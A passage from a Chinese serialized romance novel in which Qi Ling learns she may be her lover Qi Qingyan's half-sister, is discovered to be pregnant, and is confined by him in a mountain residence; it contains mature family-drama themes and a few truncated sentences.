“如果你母亲也喜欢这里,那冬奴就会长久呆在这里了。”祁泠道:“姐姐家还有妹妹,大你几岁,来日你们可以一起玩。” 冬奴又脆声应好,拿着草编蚂蚱,小手鼓捣几下,编完送给祁泠。 她笑着拿在手中,晃了晃,蚂蚱被风吹得颤颤,欲蹦走的模样。 “出锅了,趁热吃才好呢。”林照君两手端着盘子出来,内里盛着牛奶糕,蒸腾腾的白气往天上跑。 银盘从小凳上起身,忙去帮林照君拿。林照君连盘带糕递给她,拿手捡起一块,喂银盘先吃一块。 银盘也想吃,一整块含在嘴里就知不好,鼓着腮帮子,张嘴喘着热气,几步快跑到祁泠旁边的石桌,放下盘子。 用手呼扇着嘴里的热乎气,囫囵吞枣着咽下去,随后她呲牙咧嘴,带着点撒娇的埋怨,“林夫人,还有点烫呢。” “好了,给你赔罪。你想吃什么,下次来,我给你做。” 林照君此话一出,银盘立刻没了情绪,惊喜道:“那我想吃鱼鲊。” 林昭君正开口要应下,紧闭的院门发出砰砰的响,震得人心一颤,冬奴害怕蜷缩在祁泠怀里。 敲门的婆子声线极粗,“开门!” 家里的两个护院上前询:“何人?” 外面一顿,随之响起女子的声音,“燕府的人?” 护院听出来人是谁,转身为难看向林照君,“林夫人,来人是……燕夫人。” 林昭君上前,吩咐着护院开了门,走进一端庄秀丽的女子,满身珠翠点缀出难言的贵气,身后跟着一众侍从。 林照君上前侧身,问了夫人安。 慕容祯的视线落在抱着孩子的祁泠,转到林照君身上,开口道:“你是燕徊粱养在外面的人?” 冬奴见到陌生人站在母亲前面,即使害怕,也鼓起勇气跑到林照君身前护着。 慕容殊又转望向祁泠身上,疑心被燕徊梁藏起的人是她。 身后有女侍上前,这女侍当初在瑞安王妃寿宴上见过祁泠,在慕容殊耳边小声道:“夫人,这是祁府的三娘子。” 慕容殊才同祁泠互相见过礼,掩了在此见到祁家人的惊讶,想到祁、燕两家联系更是笃定这里是燕徊梁的地方。 “夫人误会了,是祁娘子好心救下我和儿子,后得燕郎君帮扶,到此处暂居。”林照君问心无愧,一五一十说了。她思量着,是慕容殊误以为夫君有外室上门来寻,耐心解释道。 谁料,慕容殊却一笑,“我不是来刁难你,只是想道你二人真有情意,不必遮遮掩掩,大可回府中去。” 方才叩门的婆子听此皱眉,喊了声,“夫人!”明显不同意慕容殊说的话。 婆子也准知道恐怕是猜错。本以为是貌美女娘,原来是带着孩子的妇人,而且住在这么简陋的地方,不像什么外室。 慕容殊本也不想来,奈何身旁的婆子是从小在她身边的奶娘,派人跟着燕徊梁几日看他来过此处。 婆子转眼,盯着冬奴,看得冬奴往后躲着,疑心这是燕徊梁的孩子。 慕容殊低声同她道:“算了奶娘,一个病秧子,要我争他做什么?我们回家去。” 她不喜燕徊粱,纵她是个庶女,也是慕容家的女儿,被父兄迫着嫁到燕家,夫妻二人鲜少说话,只在外人面前装作和睦而已。 今日随婆子来也是想着万一真抓到了人,干脆借此和离。只可惜应当是误会一场。 慕容殊得知认错了,上前同林照君俯身到道歉,转身吩咐后面的侍从,“将我” ,留足了体面。 等人彻底走了,寂静时,林问过我,是否记得燕郎君。” 祁泠望向她,她面容平静,慢慢回忆道:“我曾经有一门亲事,算是娃娃亲,回想起来也荒谬。记得出事前日,家中打趣我是小太子妃。” ,再回想起那些,如梦般。” 祁泠明白了她话中意,一颗心跳得飞快。不是平白而来的帮扶,也确实是故人。 前朝皇室除了祁家老祖宗和几位偏远宗室女眷,此外再无人。而林照君的意思…… 再回想起祁清宴素日里的反常,他是没有野心,恐怕有的是反心。 不稍多时,院门又被叩响,这回叩门的是沉弦,他一板一眼道:“娘子,郎君有事,让我来接娘子。” 祁清宴来前说会亲自送她回去,不来也无妨,能早些回去也好。 祁泠嗯一声,在林照君那里动了太多脑子,原本只是困乏意涌上,想倚在车壁歇一歇,一阖上眼,似乎转瞬就晕晕沉沉睡了过去。 到了地方,祁泠仍睡着。 银盘掀车窗的帘子,看向外面,瞪着沉弦,随后故意不叫祁泠。 沉弦只能稍坐过去,离祁泠近一点喊着,“娘子……娘子……醒醒,咱们到地方了。” 祁泠迷糊着醒了,掀开帘子,见是泉涧巷的宅子,转念一想就是祁清宴的吩咐。 她厌倦私下相会,受够了见不得人的,知晓同沉弦说也无用。靠着旁边,阖目道:“我就在这里,等他回来。” 沉弦没法子,侍奉的两个主子都是一等一的犟,从车里出去,催促外面的人,“快去寻郎君罢。” …… 祁家大房,前院的书房内。 两侧立着书架,中间摆着青铜博山炉,内里摆件甚少,一片暗沉,只有窗沿下摆着一趟珍稀兰花,被主人精心养着,伸展着深色的叶。 祁清宴踏进门时,唤了声父亲。 祁观复手持小铲,给兰花松着土,没抬头便道:“你们要做什么我不管,也不阻。只是不能连累了祁家。” “人不分贵贱,你一人抵不过祁家上下几百性命。” “知晓了,父亲。”祁清宴淡淡答应下来。此刻心神不在这件事上,开口之后脑海之中只剩祁泠,祁泠。 花土变得暄软蓬松,祁观复放下小铲,拿起帕子拭了拭手,转头望向儿子,“你来找我,想问阿泠?” 此话一出,祁清宴抬头望去,瞳孔紧缩,原本蹙着的眉更紧。 “并非我命人查探你的事,只是你的人在找十六年前来府上闹事的人,不小心惊动了我而已。” 祁观复道:“我恰好知道了。” 祁清宴不语,面上神情凝结,下颌紧绷,袖中手紧紧握着,青筋显露。 “清宴,有个妹妹不好吗?阿泠不会同你争什么,在家中养她几年便好。” 听父亲如此说,猜测成真。 祁清宴表情一滞,随即脸色发白,微敛下眼。旁人若细看,只能看到他略微颤抖的睫,整个人定在原地,脑中浑噩,一时发不出声响。 惊愕之后,满心盈着的是愧疚、后悔、复杂的情绪攥着他的心。 他猛然抬起头,语气咄咄,“既是从外抱回来的……”他*不死心,艰难,又一字一句问着:“怎能确定是祁家骨肉?父亲凭什么如此笃定!?” 祁观复从前以为祁清宴知道,才会关照祁泠,此刻被质问,祁清宴此刻语气像极了当初大夫人质询他的话。 总归是他唯一的儿子,他道:“祖母同你说过,阿泠生辰在四月初三。日子没错,清宴。” 祁清宴胸膛之中翻江倒海,如同被重击一下,让人发晕,几乎站不住。 既挑破了,祁观复存了几分将祁泠认回来的心,身世说不清,但他弟弟住在那么远的偏僻地方。 祁泠尚没有婚事,还是在祁家好。 他又开口:“清宴,你妹妹她——” 太刺耳,祁清宴几乎控制不住面上神情,在祁观复将一切说清之前,转身走了,仿若如此便能逃离。 直到如今,他也不相信,自已亲自去查。 …… 从午后到黄昏,天穹微微透出几分暗色来。 泉涧巷的宅院旁候着普通马车,从外看不出是何人。远处马蹄噼啪声响起,祁清宴外披氅衣,来到近处翻身下来。 沉弦等得太着急,隔远看见祁清宴,立刻上前迎着,急道:“郎君,娘子还在里面。” 祁清宴将缰绳递给身后侍从,快步往前走到车旁,走到车辕前略一停步。 待一路急匆赶来裹挟的风尘被吹散,抬手轻掀起一半车帘。 内里女娘披风盖到肩头,歪脑袋靠在车壁,沉沉阖目,呼吸均匀,长如小扇的睫毛乖顺落着。 他拖着她的腰,将人横抱起来。 往日只有祁泠困得不行才会被他抱起时也不清醒,今个却睡得太沉。祁清宴抱她进内室,放在床帐,褪去鞋袜,扯开叠得整齐的被,覆在她身上。 揽她入怀时满怀馨香,仍记忆尤新。 可在此刻想起,整颗心被紧攥着,连呼吸都变得困难。 祁清宴坐在榻边,望着祁泠安睡面容,怨恨当初他为何没发现异常,有许多次可以得知此事机会,都阴差阳错地错过去了,一错再错直到今日。 纵事情未全然清晰。 从祁府离开,他亲自去查。询了祁家老人,依稀知晓了当年事经过。 是冯夫人先将孩子抱回府中,老夫人不允,可冯夫人同老夫人私下说过一番话,再之后,老夫人默许了。 彼时正值柳氏生子后,祁观复觉亏欠冯夫人,也由着她养。 直到几年后,柳氏告诉大夫人,大夫人闹了一场,祁泠身世才暗中传开,大夫人再不喜只能留下。 老夫人不许血脉在外,冯夫人又坚决要养。为了大房声誉,充作养女养在二房。 以后,祖母父亲都觉亏欠叔父叔母。家中生乱,大房二房有了些隔阂,二房带着祁泠去了江州。 祁家上下,祖母,父亲母亲,乃至叔父叔母皆认为祁泠是大房亲生。 可他不相信祁泠当真是妹妹。 指尖拂过她面容,眉毛,眼睛,鼻梁弧度,她一举一动,笑与怒的神情都深深刻在心里。 哪里同他相像? 若真是他妹妹。 那他所作所为算什么? 有人枯坐至天色微明。 有人睡得极好。 祁泠伸了个懒腰,坐起身,揉揉眼睛才发觉榻边坐着祁清宴。室内未点灯,昏暗的光晕中映出他憔悴的面色。 祁泠吓得一瞬清醒了,捂着砰砰跳的心口,“你怎么坐在这儿?” 祁清宴薄嘴翕张,说不出话。 如他所愿,一切朝着好的方向发展。 是恨自已未能早些发觉不对,如今他只能细细去查,直到彻底知晓才能死心。内心仿若被撕扯着。 告诉她,又怕她恨极了他。 祁泠缓了缓才想起来,有点生气,“你说过今日要送我回去的,出尔反尔。”看见外面亮起天色,她道:“我要回去陪母亲。” 听她声音,祁清宴心中碎得无声无息,不知该怎么面对她。眸光渐渐暗去,消沉着犹如一滩死水,许久之后稍平静才开口,“阿泠,是我害了你。” 他的言辞令祁泠十分惊讶,微微睁大了眼,顺嘴回道:“你知道就好。” 他何时生出来的悔过之心? 当真是稀奇,祁泠太好奇,撑着手从床榻中探出头去看他。离得稍近,却也因着昏暗,看不清祁清宴的神情。 只听他问着:“若有朝一日,我们永不能光明正大在一起……阿泠,我们离开建业,去旁处……临川也好,其他处也好,好吗?” 祁泠摇头,她不想去别的地方。 祁清宴静默一阵儿,起身道:“我送你回去,阿泠。” 第67章 第六十七章【VIP】 雾白浓郁弥漫在天际之间,晕染掺杂着几丝墨色。 从外吹来的风带着雾的湿和夜的寒,祁泠放下手,厚重的帘子随着她动作垂落,遮了窗外隐约的山翠。 她挺直脊背,端正坐着,余光中是他垂眸沉思的面庞,她其实想问他关于燕徊梁的事,确认她白日的猜测。 但观他与往日不寻常,压下喉间话。 马车停在宅院前,祁泠起身,手腕被他倏然紧握住,她转头去看他,触及他目色,他如被烫到般匆匆放下手。 “阿泠,如果听到什么……不要怕,来寻我。” 祁泠一头雾水,看着他问:“什么?” 祁清宴没告诉她。 她懵着回去了,只有祁观复醒的早,从屋出来见到方归来的祁泠,他一愣,“三郎送你回来的?” 祁泠一颗心提到嗓子眼,也诚实地点了点头。 “下次回府,大可多住几日。”祁观复说完,话从祁泠耳朵过了一遭就结束。 她含糊点头,轻踮着脚,和银盘一起溜回屋去。 金乌东升,曦光微亮。 祁泠腹中饿,在此处早膳简单,用时蔬熬的粥,加了肉丝,伴着胡饼、鱼糜。她用了两碗才放下碗筷。 冯妆很快吃完了,和祁云漪一起望着祁泠,“表姐,我们带小表妹去庄子上吧。” 这一大一小眼睛都亮晶晶的,尤其是祁云漪,已经多日在家中学了许多日《开蒙要训》了。 祁泠之前答应了要去,她方听到,也打算去的。只是今日折腾一大圈,仍有点乏累,不困也想躺着不动。 “阿泠留在家中,你们俩自己去吧。” 冯夫人看出祁泠不是很想去,转而叮咛表姐妹俩:“切记早些回来。” 话音落下,她又看着祁云漪,不放心道:“不要因为表姐纵着你,就吵着闹着在外面玩疯了。” “知道了。”祁云漪嘟囔着说,大口咬下几口饼,从椅子蹦下,跑走了。 祁泠不用再出去,用过膳后,在冯夫人屋里又呆了一会儿,冯夫人见她总托腮眯着眼,干脆将人赶回去休息。 祁泠有点不好意思,毕竟已经大了,连祁云漪都不会再睡回笼觉。 冯夫人听后笑道:“那是规矩。有的规矩要遵,为了修身养性,对自己也好,有的规矩只是给旁人看的,家里就这么几个人,讲究什么呢。去睡吧。” 祁泠住在冯夫人屋旁的隔间内,她脱了外衣,躺在床帐里。 床褥暄软,染着暖香。 到这里后,冯夫人为祁泠重新置办了一床被褥。 她窝在里面,听见家中唯一的马车被车夫牵出去,马蹄踢踏叩着地面,祁云漪欣喜的呼喊,冯妆小声劝着。 银盘跟着玉盘在院中打络子,时不时斗嘴几句。 母亲正在外面缝衣裳。依她这些时日的观察,父亲会在午膳前回来,和冯夫人叙话。说些同女儿有关的话,冯夫人也会耐着性子,听着他说。 此刻,建业的许许多多事都与她无关,她侧着睡,梦见往后许久,一家人都在此处住着。 安宁又美好。 曦光遍布,晒得院中一片暖意。院中树抽出新的枝芽,焕着嫩绿的生机,风一吹,变得更油亮。 午膳前,祁观复背着行囊回来。 他从后面小溪中钓了两条小鱼,放在竹篓中,打算拿回去给冯夫人看。 走到小院,听着内里静悄悄的,祁观复进了院,见冯夫人同嬷嬷小声说着话。 他放下竹篓,问:“外面正晒,怎不进去说话?” “在外也挺好的。”冯夫人随口应付。 而嬷嬷满心欣慰,在旁道:“回大人,是娘子还没睡醒呢。” 厨娘端着托盘过来,内里有两碗药膳,按照碗的样式递给祁观复和冯夫人,祁观复没喝,先回屋去净手。 等他再出来时,院中只余冯夫人一人,嬷嬷进屋取扇子去了。 他思量着母亲的话,趁着周围没侍从,女儿们又都不在,同冯夫人道:“我观母亲意思,以后似要留阿泠在府中长住。” 冯夫人微微顿了一下,不自在地眼帘垂下,“阿泠不会愿意的,这孩子是顾念亲情的人,” “可血缘在此,阿泠前路未明,你我能伴她几时?她毕竟是兄长——” “既从未管过,”冯夫人冷不防出声打断,难得语气尖锐,“为何此时要接去?阿泠过去不过寄人篱下,处处受牵制。我不许她回去。” 她一番话,,随后轻唤她一声,“栖梧……” 他顿了下,才接着道:“不知是不是我错觉,一提起阿泠身世,你就不愿多说。可如今,母亲兄长有意……” “夫人,郎君。”厨娘侍奉二房久了,熟稔又端着盏药膳而来,与两人膳。” ,由着她去了。 她转头同祁观复道:“那是在这里,我不会将她送走。” …… 隔间里,玉盘去厨房打点午膳要吃的东西,只有银盘在祁泠睡觉的屋里呆着。 她坐在窗下专心致志弄着络子,打算串进几块玉,抬眼看见厨娘端着汤盅进来,不经心道:“娘子还要再睡一会儿呢,放在桌上就好,等娘子醒了再喝。” 厨娘应下,她在此多日细声细气,与二房其余人相处的也好,银盘没再看,低头继续摆弄着小块玉。 厨娘则将汤盅放在床榻侧旁,账内隐隐约约能看见朦胧的娘子身影,她探手过去,细细把脉,随即一惊。 床帐微动,她定眼细看,只是祁泠翻身一下,幸好没发觉。 收回手,拿走汤盅,她同银盘道:“我先拿回去,等娘子醒了热热再送回来吧。” 银盘觉得这厨娘稍微有点奇怪,也没放在心上,见床帐内里一动未动,娘子应该还没醒呢。 厨娘走出门,低眉顺目过了冯夫人和祁观复面前,直到她与其余两位厨娘同住的屋子,才抬手按住心口,思量着何时回去报信。 院子小也有不好的地方,若是建业城中,偌大的宅院,下人寻个合适的由头出去也寻常。 在此一举一动都明显,她只能按捺下心思,先简单调些养身体的药,小改了原本的药方。 直到祁泠生辰那日,厨娘忙活完自己的药膳,以家中有事的说辞告了假去。 再往远些走,找到接应的人,递了信,也被带着一同往建业祁府赶。 冯夫人打算同祁泠一起吃了早膳,再让祁泠回建业府中去。她早起将祁泠喊起来,拿出一套绛色深衣让祁泠今个穿,她也给祁泠梳着发。 “阿泠,母亲……” 话音却戛然而止。 祁泠转头,看冯夫人眼眶略红着,满心诧异,“母亲,怎么了?” 冯夫人垂着眼,持着玉梳理着祁泠的发,从上至下,又梳了简单的发髻,她吩咐着玉盘取个盒子过来,里面是累丝镶玉嵌宝石的牡丹花顶小冠。 她为祁泠簪上,昏黄镜中映出女娘容貌,总令她想起从前。 她缓缓道:“我年少时有一故友,小名阿絮。我那时性情如小妆、甚至比她还弱些,遇到不公之处,乃至在家受了委屈,阿絮都会为我出头。可我亏欠她良多。” 祁泠好像听明白冯夫人说的是谁了,喉间酸涩又哽住,想要说些话来劝慰冯夫人,她早就不在意身世了啊。 只当冯夫人是她的亲母。 “阿絮家中被栽了通敌之罪。当时浑噩尚小不觉,如今回想,不过是皇室觊觎她家之财,足矣让新朝国库短暂充裕。只是富商,无世家靠山,其余人家知晓也不提。我不知发生什么,一夜过去,我再未见过她。” “直到十六年前,偶然建业相遇。彼时我受困内宅,她沦落尘世,都过得不好,我想法子凑钱救她出来,而她有了身孕,坚持生下来。 她生产时我在,托我先将孩子抱走。等到我安顿好了你,再回去寻,她不见了,其余人都说她逃了死了。但我知道她没死,她说过要来接走你的。” 祁泠垂着脑袋,泪无声地往下滴。听起来如同话本中人,陌生至极,她从未见过,为何这般伤心? “阿泠,我骗了你,骗了许多人。其实你生辰不是今日。” 冯夫人伸手,抹去阿泠的脸颊处的泪,轻声道:“阿泠还要更小些,只是不能告诉旁人,你父亲也不行。等过些时日,母亲再为你过个生辰。阿泠长这么大,还从未过一次真的生辰。” 祁泠不知道为什么,也点着脑袋。想埋在冯夫人怀里,又因今日花冠碍事,只靠在冯夫人肩头,小声啜泣。 而冯夫人轻轻拍着她后背,一如小时哄着哭闹不止的祁泠。 尚未用早膳,时辰尚早,便有几辆马车停在府前。 玉盘掀开帘子进屋,看这母女哭作一团,暗自惊讶了一下,但转瞬便禀:“夫人,祁府来人了。” 与此同时,建业祁府前,匆从赶来的侍从拦下方纂刻黑漆祁字的马车。 厨娘一路颠簸,吐得面如土色,踉跄着过去禀报,语气太急,说不清是道喜还是害怕,“郎君,夫……娘子她有孕了!” 第68章 第六十八章【VIP】 “今日来的这般早,邀三郎与我们一起用膳罢。我同阿泠,稍后便去。” 冯夫人说完,转而稍微低着头为祁泠整理衣襟。往日负责来接祁泠回府的都是祁清宴,冯夫人习惯了,祁泠即使担惊受怕,也习惯了。 可玉盘却道:“是家主来了,正在同大人叙话。” 祁泠懵着,不知为何来的人是他父亲。下意识抬头看冯夫人,冯夫人拍了拍她的肩头,“没事阿泠,毕竟是长辈,先去见礼。” 简陋的堂屋,祁观颐看了看四周,止不住的心酸,更坚定了要接走祁泠的心。 他看向祁观复,来此住了几月被晒得黑了些,来之前瘦,如今是黑瘦,眼神却亮着。 年少时,他嫌弃弟弟性格太过弱,母亲说什么他听什么。如今想想,或许只是不想丧夫撑起整府的母亲太过伤心。 可他浑噩多年,时日无多,兄弟也不知还能再见几次面。 祁观颐面色复杂,“母亲很是牵挂你,每次我去都会提你。” 祁观复笑了笑,他对母亲有些愧意,可亏欠冯夫人更多,注定没有十全十美的法子,道:“劳烦兄长和小岚替我尽孝了。还好有小岚,母亲也能开怀些。” 听出他肯定不会回去了。 祁观颐斟酌之后,才道:“阿泠的事,母亲同你说了吗?” 离开祁府前,祁观复同老夫人说要带着冯夫人走,那日,老夫人是想把祁泠留下。 但是并没打算让大房认回女儿,毕竟身世确实不明不明,只养在瑞霭堂。等祁望舒和祁云漱嫁出去,过年再将祁泠嫁出去好了。 最后简单提了祁观颐要认的事。 祁观复点点头,却十分犹疑,“大嫂……能应允吗?” “我昨日已问过她,她不答应在族谱上添名,但可认回来,养在我和母亲身边。我思量着,应当大半年才会回北关去,在此之前,会处理好阿泠所有事,给她添丰厚的嫁妆,为她日后铺好路。” “毕竟,我血脉甚少,只有阿泠这一个女儿。” 他话音落下,室内转瞬寂静至极,没人再说话,空气中的尘埃缓缓浮动,落在椅背、石砖、门槛之上。 半扇门开着,明暗交替的光线中绯色艳。女娘立在那里,面上没有一丝表情,只是嘴角微微牵动,声音轻若尘烟,“……真的吗?” 是与冯夫人一同来见礼的祁泠。 早晚她也会知道,祁家这几人都有些想要做什么就立刻要做的心,既起了要认祁泠回来的念头,迟早会成真。 祁观颐起身,难得放缓了语气,刻意柔和些:“阿泠,你听的没错。我愧对你,一直以来没能将你养在身边……”他将事情一五一十说了出来。 怎么大家突然都说愧对她? 祁泠懵到头发晕,耳边听进了祁观颐承认的话,嘴里却仍反复念着,是真的吗? 冯夫人看出女儿的不对劲,攥紧她的手,“阿泠,阿泠,没事。” 而她挣开了冯夫人的手,力道极大。她已不在乎父亲是谁,满心只一个念头,祁清宴知道吗? 心中却已有了答案,昨日他说的话,以及这几日他的反常…… 祁泠难以呼吸,难以面对,她转身便走,几人都喊着阿泠,祁观颐正要去追,祁观复却拦住兄长,“让下面人跟着,让她去吧。” 他是养父,却也担了多年父亲的责,“兄长,阿泠表面性子柔,但心里是有主意的,让她缓缓罢。” 那辆唯一的马车往建业走着,内里祁泠一言不发。银盘觑着,小声问了问:“娘子,方才发生什么了?” 祁泠却没听见,表面安静,脑子里却乱极了。初听觉得荒谬至极,不会是真的,但从安静下来的那一瞬开始想,祖母总是欲言又止,好像自从二房出了事,就像告诉她什么。 祁家为何要养着她? 她原来以为是恩,施舍的恩情。 结果却是,除了冯夫人之外,其余人恐怕都以为她是祁观复的孩子,才会留她在祁家。 否则,纵然冯夫人执意要留,祁府也不会由着一个身世不明的孩子,辱了祁府污名。 她应当难过、伤心、愤懑,恨,此刻却格外平静,不知该做出什么表情。哭?她没有一点想要流泪的感觉,只是觉得可悲。 过去一盏茶的功夫,迎面遇见,二,扯了绳,驾车的马慢吞吞停在一边吃低矮的春草。 “三娘子,对面着。 内里毫无动静,只是对面的祁府马车停下,有郎君匆匆下来,步伐急得很,是已经得知父亲去了二房的祁清宴。 掀开车帘,银盘趁着两人没开口吵起来宴放下手,坐在祁泠对面,,此刻略显得逼狭,令人窒息。 “他,多日来的纠结消散,余下的只有空荡荡,没有神采的目光。 她没说清,祁清宴也知晓她的意思,滞涩道:“比你早几日知道。” 祁泠突兀笑了一声,他再看过去时,她望着他的眼神带着些恨,又被其他旁的东西填满,似乎是解脱。 一字一句说得极慢,极清,“我不会认亲,也不告诉你父亲其他事。只是你我,此生绝不会再相见。” 默然,死一般的沉默。 祁清宴哑着,喉间如若被死死扼住,呼吸困难,却连一点声音都发不出来。 他想过,如果是真的怎么办。 对她最好的办法,是由他父亲将人认回来,大房的名声受损,她却有了名正言顺的身份。 祁家大房的女儿,无人敢轻视她。 她本也对他没什么心思,或许在他死缠烂打之下有一点心软。两人说清,她会恨他,此后他默默护她一辈子。 那些两人共同的回忆,或苦或甜,或酸或涩,再无人提起。 绝不再相见。 他的心反复撕扯,痛得发颤。若她没有身孕,愧疚或许会让他应下,以后不会出现在她面前。 她有身孕的事,瞒不了太久。 这个孩子,他可以使些手段,让其无声无息没了。只要她知道,也不会留。 但是孩子,他盼了许久的孩子。 他们之间最后一点联系,一旦割舍,分道扬镳,再无关系。 祁清宴犹如溺水之人,死死抓住那几丝救命稻草,语气满是恳求,望着她:“阿泠,这或许不是真的。” 下一瞬,他右脸一麻,随即是火辣辣的疼。 祁泠垂下的手微抖着,明白他意思后情绪激动,大喊:“闭嘴!你闭嘴!毁了我不够,还要追究着污蔑我生母吗?滚出去,你给我滚!” 她起身,使尽力气推搡着他,要将他赶走。祁清宴不敢让她动作太大,也打算先出去,让她静一静。 可她大惊大怒,气血上涌,忽而身子一软,晕了过去。 祁清宴扶着她,坐了片刻,定下心来。只是满心怆然凉意。 他回不了头了。 …… 原定的生辰变成了闹剧,祁泠走了不久,祁观颐也回建业去了,准备着将她认回去。 冯夫人和祁观复的心一直提着,直到午后也没动静。 好不容易有马车回来,夫妻二人连带着冯妆和祁云漪都来等着,从内里下来的人却是祁清宴。 等了几息,再无人出来。 祁观复惦记着祁泠,上前去,“三郎,你是从府上来?可曾见到阿泠,这孩子不知道去哪了。” 祁清宴知道祁泠在哪里。 明明白白的知道,除了他之外,其余人暂时不会知道了。 祁清宴神情恍惚,右脸还有几分红肿,祁观复想着他肯定也知道了,骤然多了个妹妹,心里或许也不大好受吧。 祁观复道:“清宴,阿泠小时一直想知道生父生母,如今她长大了,知道也好。” 祁清宴脸色发白,更摇摇欲坠了。 查了一圈祁泠身世,最后到了自家头上,当真是灯下黑。 他已经知道一切都和冯夫人有关,是她将祁泠抱回来,也是她的话,让祖母父亲以为祁泠是大房的孩子。 他道:“叔父,我想同叔母单独说几句话。” 内宅妇人应当避嫌,但如今也没什么讲究的,找祁泠要紧。 室内只有冯夫人和祁清宴。 他开门见山道:“叔母,侄儿是想问阿泠的身世。” “阿泠的身世……你父亲说是他的女儿便是了,不必问我。”听到祁清宴问祁泠身世,冯夫人的态度明显淡了下来,不想多说。 沉闷的声响,冯夫人蹙眉望去,祁清宴已经跪在地上。她大惊,想要去搀他:“三郎!” 祁清宴执意不起:“此刻,夫人不是我叔母,只是阿泠的养母。我亦不是三郎,只是清宴。”顿了顿,他道:“我想娶阿泠。” 冯夫人惊得捂住嘴。 祁清宴和祁泠…… 她从没想过着这两个孩子会有什么旁的牵扯。毕竟在她看来,三郎守礼亲善,不会逾矩。阿泠又内敛聪慧,要寻的夫婿标准是听话,绝不会同祁清宴牵扯。 冯夫人道:“不行。清宴,你娶不了她。祁家人不会同意。” 普通的拒绝之词。 祁清宴却发现了点异样。 若祁泠真是他妹妹,将她视作亲女的冯夫人听到他要娶,少不得要动怒,毕竟两人是兄妹。 但冯夫人下意识说的是祁家人不会同意。 要想知道实情,只能如实以告。 他接着道:“阿泠……有身孕了。” …… 祁泠醒来,周围药气甚重,嘴里一股散不掉的苦味。掀开素锦床帐,她赤着脚走下床榻,屋里宽阔素雅,一扇山水屏风摆在榻前,旁侧八宝架子,梳妆台上是冯夫人晨间为她簪上的小花冠。 陌生的地方。 她推开窗,映入眼帘的是层层叠叠的山林,她住在最高处,其下山腰似乎有座庙宇,香火袅袅。 祁泠转而去推门,有两侍女守在门口,皆是陌生的面庞,她从未见过。 她问:“这是哪?” 侍女低垂着头,无人答她,她欲往前走,却被拦住。其中一位侍女劝道:“娘子,先回去吧。” 门重新关上,周围来来回回响着脚步声。祁泠站了一会儿,后知后觉地明白过来。 她被囚禁在这。 第69章 第六十九章【VIP】 “阿泠……阿泠在何处!?” 冯夫人听后,面上表情凝滞,惊诧到失声。难以相信她听到了什么,往后踉跄着退了几步,扶着桌子撑稳了身,问起了阿泠。 看着跪在地上的祁清宴,她已没了一点同情,任他跪着,满心都是她的阿泠。 可怜她的阿泠,年纪尚小,还未成婚就有了身孕,来日如何是好? “……她在我一处府邸,建业城边,旁人寻不到。” 祁清宴解释着,只有他自己知道解释得多苍白,“后宫争斗愈烈,皇后近来几次欲唤阿泠进宫,以她分怀子昭媛之宠。这几日有内侍传旨来,叔母只道不知阿泠在何处,如内侍苛责,推于我身便好。” 冯夫人靠坐而下,实在没了力气,方才听到的消息一件接着一件,太过震惊,需要仔细想想。 若是普通的养女,此事也容易解决,她怎么也要为阿泠争一正妻之位。 只是…… 眼见冯夫人面露犹疑之色,祁清宴按下想知晓一切是否会有转圜之机的迫切。他如今只能来问冯夫人,这般最快,他等不了,腹中子嗣也等不得。 他继续道:“叔母,我知来问此冒犯,可如今没有旁的法子能两全。叔母,我定会妥善处置此事,迎阿泠过门。 而且阿泠身世……在旁人面前不会牵扯出叔母。当年只道误会。” 冯夫人抬眼望他,似是对阿泠动了真情,恍然也忆起从前自己,也曾有过彷徨之时。 她念着阿泠和孩子,一颗心柔软下来,自当有什么说出来。 她摇摇头,“清宴,祁泠的生辰确实要再往后些,那日是六月初二。她是足月出生,故而显得大些,出生一月时说作三月,也无人发觉异常来。” “其余事,我并不知晓。” 也是好笑。没有一人抱抱小阿泠,说她是自己孩子的祁观复,将她当成孙女的老夫人都算上。 但凡有一人,将小阿泠抱在怀中细致瞧瞧,都会发觉她有些小,个头大,却很轻。 每当冯夫人想起那时,都会惊讶于祁家人的凉薄。 她再不温顺,也是恨的罢。 恨全心仰仗的夫君,恨从中掺和送妾室来的老夫人,恨从看不起她家世觉与她做妯娌失了面子的大夫人。 她模糊了祁泠的身世,为了将孩子养在身边。否则她一个内宅妇人,如何能将襁褓中的孩子养大?养在府外,照看不周,又会遭来诸多非议。 送养可以,但再找不到苏絮时,她已亲手养了祁泠十几日。 她从未有过孩子,一直想有孩子。 看着柔软的小手握着她的指节不松手,朝她笑得绵绵可爱,本就是故友之女,怎能不生出慈母心肠? 祁观复若不是问心有愧,又岂会错认孩子? 老夫人问着,祁观复误会,冯夫人并未解释,甚至在问及孩子生辰时—— 她曾经听苏絮说了不少事,知晓些情形,鬼使神差地将生辰的说早两月。听到祁观复一口咬定是他的女儿时,要留下养着,她竟如释重负。 祁家很快因这孩子闹出隔阂,她愧对阿泠,可对着祁家众人,心底竟生出些畅快之意。 两种感觉反复撕扯着她。 连她自己都不知道为何。 冯夫人语毕沉默太久,久到祁清宴已经从方听到的不解,到抓住新的线索。 虽冯夫人也不知,但父亲笃定的生辰为假,内里必存些异样。 他的心稍微落下,继而问:“叔母可知……阿泠生母去了何处,或离开建业前,与何人关系密切?” “我不能常出门见她,知晓内情不多,她在建业无甚交好之人,其实没什么去处……她外祖家姓王,在哪里我不知晓,可能去投奔外祖?” 冯夫人回忆着:“……对了,她曾定下一门亲事,对面是淮陵富商宋氏,只是苏宋两家交情不多,苏家出事,宋家也已从淮陵搬走多年,我也不知在何处。” 祁清宴向冯夫人行了大礼,“多谢叔母,我这便去查。” 冯夫人拳拳爱女之心,只思量着祁泠,“你要娶她,只能寻到她父母来相认。即使相认,她腹中子嗣你又要如何解释?若被你母亲知晓,她必不会应允。” “叔母,我一人之过,不会让祁泠被责怪。”祁清宴道。 …… 祁泠一口。 她靠在窗边,看人影,观其大多衣着朴素,是住在附近的人,郁郁葱葱,小路甚少,寻常不见人烟。 ,但庙宇香火又旺,许是传闻灵验,才引了人来。 对建业不熟,不知道。 门扉被推开,听见熟悉的脚步声,她顿时转头望去。银盘背着好大一个包裹过来,佝偻着背,犹如七老八十的老妪。 祁泠猛然站起来,又因太久没用东西,头一晕,险些摔倒,扶着只能又坐了回去。 银盘一急,把包裹整个丢在一旁,用袖头一抹额间汗珠,“娘子,我来陪你了。” “你怎么来的?”祁泠问着。 银盘问啥答啥,只是猜到两人恐怕又吵架了。她那时在马车外,听到了一点娘子动怒的喊声,所以声音有点弱:“是三郎君派人送奴婢来这里,他说娘子自己在这里会害怕。” 祁清宴。 祁泠下意识不想提他,一想起他,祁家事就浮现在心间,胸膛之间涌起翻腾的恶心。 